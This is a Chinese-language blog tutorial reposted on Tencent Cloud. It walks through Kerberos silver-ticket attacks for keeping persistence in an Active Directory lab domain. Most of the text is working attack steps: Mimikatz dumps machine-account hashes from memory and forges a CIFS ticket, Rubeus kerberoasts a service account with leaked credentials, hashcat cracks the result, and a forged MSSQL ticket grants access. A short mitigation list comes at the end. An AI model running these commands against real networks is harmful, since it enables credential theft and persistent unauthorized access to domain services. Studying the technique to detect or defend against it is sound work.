前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >域持久性:银票攻击

域持久性:银票攻击

作者头像
Khan安全团队
发布2022-07-13 08:56:55
8670
发布2022-07-13 08:56:55
举报
文章被收录于专栏:Khan安全团队Khan安全团队

白银票证是针对特定服务的伪造服务或 TGS 票证,可用于在与 Active Directory 企业域连接的受感染系统上保持持久性。在攻击中,攻击者可以制作有效的 TGS 服务并使用相关的 NTLM 哈希可以进一步制作其他服务的票证。

在金票攻击中,我们使用 krbtgt 帐户的哈希,而在银票攻击的情况下,我们将使用服务帐户的密码哈希。可以通过多种方法提取服务帐户的密码哈希,Kerberoasting 就是其中之一。由于银票攻击不需要中介 TGT,银票可以在不与域控制器进行任何通信的情况下伪造,因此比金票攻击更隐秘。

银票攻击的工作方式如下:

代码语言:javascript
复制
第 1步:破坏服务帐户的密码哈希(NTLM 哈希)。用户可以使用 Mimikatz、Kerberoasting 等来做到这一点。
第 2 步:对于新票,请指定以下内容:
        服务哈希
        服务名称
        目标 FQDN
        域 SID
第 3 步:将新创建的银票注入终端会话以利用和维护持久性

通过 Mimikatz 获得银票

在您现在将看到的演示中,您会注意到我们使用了机器帐户“dc1$”的 NTLM 哈希。你们中的许多人可能会感到困惑,因为我们必须使用服务帐户的哈希值。请注意,一台计算机还托管多种服务,其中一项是通用 Internet 文件系统服务(CIFS – 文件共享服务)。因此,CIFS 服务的密码哈希与机器帐户相同。

目标:制作一张银票以在 dc1.ignite.local 机器上建立 CIFS(共享)持久性

由于攻击都与保持持久性有关,因此我们必须假设以下内容:

代码语言:javascript
复制
攻击者入侵了一台低权限的受害者机器(这里,用户名:harshitrajpal)
攻击者以某种方式获得了目标机器的密码/NTLM (dc1.ignite.local)
攻击者在低权限机器上制作银票以获取访问权限并在 dc1.ignite.local 上保持 CIFS 服务的持久性

让我们首先向您展示我们当前的用户、票证以及当我们访问 dc1.ignite.local 上的共享时会发生什么

上面的机器是低权限机器。

接下来,我们需要 dc1.ignite.local 计算机帐户的哈希值。可能有多种方法可以做到这一点,但我们将快速跟踪并使用 Mimikatz 来获得它。让我们首先激活 mimikatz 并使用 sekurlsa::logonpasswords 命令转储哈希。请注意,您可以按照任何方法转储哈希。

代码语言:javascript
复制
privilege::debug
sekurlsa::logonpasswords

这将转储机器内存中的所有哈希值,包括机器帐户的哈希值。稍微滚动一下,我们发现我们的机器帐户“dc1$”的 NTLM

接下来,要伪造一张银票,我们必须找到可以使用命令轻松找到的域的 SID。请注意最后一个连字符之后的数字(这里,1115 称为相对 SID,我们不希望这样。该部分之前的所有内容都是与我们相关的域 SID)

代码语言:javascript
复制
whoami /user

现在,要伪造一张银票,可以使用 Mimikatz 的“金”模块。我们只是插入我们的变量。

在这里,我使用 /ptt 标志将票证直接插入当前 shell。

/id:它是在检查时在事件日志中可见的任何随机 ID。可以随机化。

/sid:域的。

/domain:目标域的有效 FQDN

/service:为其生成票证的服务

/rc4:受害机器计算机帐户的 NTLM 哈希(之前找到)

/user:模拟用户名

代码语言:javascript
复制
kerberos::golden /sid:S-1-5-21-2377760704-1974907900-3052042330 /domain:ignite.local /target:dc1.ignite.local /service:cifs /rc4:a5902b4b82ddf1ce42d073f06acecf07 /user:harshitrajpal /ptt /id:1339
exit
klist

正如您在上面看到的,一张票现在已保存在当前会话的内存中。现在您将能够访问目标机器的 CIFS。

代码语言:javascript
复制
dir \\dc1.ignite.local\c$

但是,如果您不想立即将票证插入内存,而是希望保存一个 ticket.kirbi 文件,您只需删除“/ptt”标志并保持原样

代码语言:javascript
复制
kerberos::golden /sid:S-1-5-21-2377760704-1974907900-3052042330 /domain:ignite.local /target:dc1.ignite.local /service:cifs /rc4:a5902b4b82ddf1ce42d073f06acecf07 /user:harshitrajpal /id:1339
exit
klist
dir

现在这张 kirbi 票可以与 Rubeus ptt 模块之类的工具一起使用,并插入到内存中,随时可以使用

代码语言:javascript
复制
rubeus.exe ptt /ticket:ticket.kirbi
klist
dir \\dc1.ignite.local\c$

当然,上面的整个过程只能使用 Rubeus 来完成。

使用 Rubeus 的银票

我们已经以 CIFS 为例,如果您到目前为止一直在关注这篇文章,那么您也可以使用 Rubeus 复制相同的内容,只需滚动即可。但是,这次我想针对不同的服务,所以我设置了一个 SQL 服务器并分配了由用户“sqluser”运行的服务(可以通过运行->services.msc->SQL->properties 来完成- >登录)

这将使 SQL 服务通过我们新创建的服务帐户运行。

现在,我们需要破解此帐户的 NTLM 哈希。为此,我们将使用 Kerberoasting 攻击。但简而言之,您可以在 Rubeus 中运行以下命令。

/domain:目标 FQDN

/creduser:任何有效的泄露用户名

/credpassword:受感染用户的有效密码

/nowrap: 票块出现在 Rubeus 的单行中

代码语言:javascript
复制
rubeus.exe kerberoast /domain:ignite.local /creduser:ignite.local\aarti /credpassword:Password@1 /nowrap

如您所见,Rubeus 自动确定了一个有效的 Kerberoastable 帐户并转储了其 TGS。我们现在将使用 Hashcat 从这个 TGS 中离线提取密码

代码语言:javascript
复制
hashcat -m 13100 '$krb5tgs$23$*sqluser$ignite.local$MSSQLSvc/dc1.ignite.local:1433@ignite.local*$..<snipped>...4297093077601CC' /usr/share/wordlists/rockyou.txt --force

几秒钟后,我们收到了明文密码“ Password@1 ”

现在,让我们使用 Rubeus 将其转换为 NTLM 哈希(rc4_hmac),因为我们的银票需要有效的 NTLM

代码语言:javascript
复制
rubeus.exe hash /password:Password@1

我们还需要知道 SID。这可以使用whoami /user命令完成

最后,为了在 Rubeus 中为当前用户伪造一张票,我们给出以下命令:

代码语言:javascript
复制
rubeus.exe silver /service:MSSQLSvc/dc1.ignite.local /rc4:64FBAE31CC352FC26AF97CBDEF151E03 /sid:S-1-5-21-2377760704-1974907900-3052042330 /user:harshitrajpal /domain:ignite.local /ptt

/ptt 选项完全导入当前会话中的票证。如果没有 /ptt,ticket.kirbi 文件将被保存。但正如您所见,现在已经创建了一张有效的银票

我们现在可以尝试登录服务器并运行显示主机名的基本命令。

代码语言:javascript
复制
sqlcmd -S 192.168.1.2,1433
SELECT HOST_NAME() AS HostName
go

我们的用户现在可以使用我们刚刚伪造的票证连接到 SQL 服务。

缓解办法

由于攻击基于离线机制且不涉及 DC,因此难以缓解攻击。但是,仍然可以采取以下步骤来确保保护:

代码语言:javascript
复制
启用 PAC 验证。如果启用,出示的票证应首先由 DC 验证。因此,银票将立即被拒绝。
使用强密码防止暴力破解
控制必要的权限或将某些可以使用特定服务的用户列入白名单。
缓解 Kerberoasting
本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2022-06-26,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Khan安全攻防实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 通过 Mimikatz 获得银票
  • 使用 Rubeus 的银票
  • 缓解办法
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档